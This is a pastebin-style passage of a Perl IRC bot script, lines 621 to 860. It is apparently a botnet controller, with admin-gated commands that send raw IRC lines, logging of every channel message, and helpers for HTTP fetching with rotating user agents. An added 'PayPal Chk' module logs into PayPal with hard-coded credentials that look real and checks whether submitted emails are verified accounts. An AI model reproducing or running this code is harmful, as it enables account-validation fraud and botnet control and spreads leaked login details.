  621. #####################################################################################
  622. if($msg{'what'} =~ /\!out(.*)/)
  623. {
  624. my $qmsg = $1;
  625. if(&ctrl_admin(\%msg) == 0){
  626. $irc_socket->write("quit ".$qmsg."\r\n");
  627.  
  628. }
  629. }
  630.  
  631. ######################################################################################
  632. ######################################################################################
  633. if($msg{'what'} =~ /\!rax (.*)/)
  634. {
  635. my $raw = $1;
  636. if(&ctrl_admin(\%msg) == 0){
  637. &respond_to_privmsg(\%msg,"15,1[4RAW15]12 SENDING IRC RAW REQUESTED");
  638. $irc_socket->write($raw."\r\n");
  639. }
  640. }
  641. #############################@@@@======ADDED payPaL Chk!=====@@@@###########################
  642. #############################CONTACT ME : s4l1ty@hotmail.com################################
  643. ############################################################################################
  644. if($msg{'what'} =~ /^$ppcmd (.*)/)
  645.  
  646. {
  647. my ($ppchek) = ($1);
  648. chop($ppchek);
  649. &respond_to_privmsg(\%msg,"14,1[12 PAYPAL 14,1]00,1 CHECKiNG...00,1 -9,1${ppchek}00,1-\r\n");
  650. my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);
  651. my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
  652. $agent->env_proxy();
  653. $agent->get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run');
  654. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  655. $agent->form_number(3);
  656. { local $^W; $agent->current_form->value('login_email', 'moviemax@live.it'); };
  657. { local $^W; $agent->current_form->value('login_password', 'napster23'); };
  658. $agent->submit();
  659. my $internal=$agent->content;
  660. if ($internal =~/Please make sure you enter your/){
  661. &respond_to_privmsg(\%msg,"15,1[12,01 PAYPAL 15]04 Wait...Something Wrong,please contact 09s4l1ty\r\n");
  662. $irc_socket->write("PRIVMSG s4l1ty :15,1[12,01 PAYPAL 15]04 check login username/password !\r\n");
  663. }
  664. elsif ($internal =~/Please take a moment to choose and answer 2 security questions./){
  665. &respond_to_privmsg(\%msg,"15,1[12,01 PAYPAL 15]04 Wait...Something Wrong,please contact 09s4l1ty\r\n");
  666. $irc_socket->write("PRIVMSG s4l1ty :15,1[12,01 PAYPAL 15]04 check account security question !\r\n");
  667. }
  668. else {
  669. print "Logging you in securely \r\n";
  670. $agent->follow_link( url_regex => qr/login_access/i );
  671. $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
  672. my $resp=$agent->content;
  673. if ($resp =~/is PayPal Verified/){
  674. &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 14,1-00,1${ppchek}14,1- 14,1[9VERIFIED14,1]\r\n");
  675. }
  676.  
  677. elsif ($resp =~/is NOT PayPal Verified/){
  678. &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 14,1-00,1${ppchek}14,1- 14,1[4,1UNVERIFIED14,1]\r\n");
  679. }
  680.  
  681. elsif ($resp =~/Your access to view member information is currently limited/){
  682. &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 04 check account access limit !\r\n");
  683. print "Your access to view member information is currently limited. Please try back at another time.\r\n";
  684. }
  685.  
  686.  
  687. }
  688. }
  689. }
  690. }
  691. #####################################################################################
  692. sub ctrl_admin()
  693. {
  694. my $data = $_[0];
  695. foreach my $admin ( @admin )
  696. {
  697. if($admin eq $data->{'from'})
  698. {
  699. return(0);
  700. }
  701. }
  702. &respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
  703. return(-1);
  704. }
  705. #####################################################################################
  706. sub ctrl_dumps()
  707. {
  708. my $data = $_[0];
  709. foreach my $admin ( @s4l1ty )
  710. {
  711. if($admin eq $data->{'from'})
  712. {
  713. return(0);
  714. }
  715. }
  716. &respond_to_privmsg($data,"15,01[4BLOCK15,01]0 You are 04NOT0,01 Allowed to use this function.!");
  717. return(-1);
  718. }
  719. #####################################################################################
  720. sub respond_to_privmsg()
  721. {
  722. my ($data,$m) = ($_[0],$_[1]);
  723. if($data->{'to'} =~ /#/)
  724. {
  725. &privmsg($data->{'to'},$m);
  726. }
  727. return(0);
  728. }
  729. #####################################################################################
  730. sub privmsg()
  731. {
  732. my($nick,$send) = @_;
  733. $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  734. }
  735. #####################################################################################
  736. sub get_msg()
  737. {
  738. my $line = $_[0];
  739. my %data;
  740. if($line =~ /:(.*?)!(.*?) PRIVMSG(.*?) :(.*)/)
  741. {
  742. $irc_socket->write("PRIVMSG #log :$1 $3 msg=>> $4 \r\n");
  743. $data{'from'} = $1;
  744. $data{'to'} = $3;
  745. $data{'what'} = $4;
  746. }
  747. return(%data);
  748. }
  749. #####################################################################################
  750.  
  751. sub http_request()
  752. {
  753. my($site,$request,$ua,$resp,$cnt);
  754. $site = $_[0];
  755. $site =~ s/[\r\n]//g;
  756. $request = HTTP::Request->new(GET => $site);
  757. $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
  758. $ua->timeout($timeout);
  759. $resp = $ua->request($request);
  760. $cnt = $resp->content();
  761. return($cnt);
  762. }
  763. #####################################################################################
  764. sub get_user_agents()
  765. {
  766. my @us_ag = (
  767. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  768. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  769. "Opera/8.5 (X11; Linux i686; U; cs)",
  770. "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  771. );
  772. return(@us_ag);
  773. }
  774. #####################################################################################
  775. sub get_all_host()
  776. {
  777. my $site = $_[0];
  778. my @dirs = ();
  779. my @ret = ();
  780. my $tmp = "";
  781. $site =~ s/http:\/\///g;
  782. $site =~ s/[\r\n]//g;
  783. $site =~ s/\/\///g;
  784. if($site !~ /\/$/)
  785. {
  786. $site .= "/";
  787. }
  788.  
  789. @dirs = split(/\//,$site);
  790. $tmp = $dirs[0] . "/";
  791. push(@ret,$tmp);
  792.  
  793. for($i = 1; $i < scalar(@dirs); $i++)
  794. {
  795. $tmp .= $dirs[$i] . "/";
  796. push(@ret,$tmp);
  797. }
  798.  
  799. return(@ret);
  800. }
  801. #####################################################################################
  802. sub urlencode()
  803. {
  804. my $str = $_[0];
  805. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  806. return $str;
  807. }
  808. #####################################################################################
  809. sub unique()
  810. {
  811. my @unici = ();
  812. my %visti = ();
  813. foreach my $elemento (@_) {
  814. $elemento =~ s/\/+/\//g;
  815. next if $visti{$elemento}++;
  816. push @unici, $elemento;
  817. }
  818. return @unici;
  819. }
  820. #####################################################################################
  821. sub changecmd()
  822. {
  823. my $n = $_[0];
  824. push(@botcmd,$n);
  825. }
  826. #####################################################################################
  827. sub get_content() {
  828. my $url = $_[0];
  829. my $ua = LWP::UserAgent->new(agent => $uagent);
  830. $ua->timeout(10);
  831. my $req = HTTP::Request->new(GET => $url);
  832. my $res = $ua->request($req);
  833. return $res->content;
  834. }
  835. #####################################################################################
  836. sub read_all_file_array()
  837. {
  838. my $file = $_[0];
  839. my @ret = ();
  840.  
  841. open(FILE,'<',$file);
  842. while($a = <FILE>)
  843. {
  844. $a =~ s/[\r\n]//g;
  845. push(@ret,$a);
  846. }
  847. close(FILE);
  848.  
  849. return(@ret);
  850. }
  851. #####################################################################################
  852. sub write_to_file_array()
  853. {
  854. my ($file,$data,$scal) = @_;
  855. for($i = 0; $i < $scal; $i++)
  856. {
  857. &AddLog($file,$data->[$i]);
  858. }
  859. }
  860. #####################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement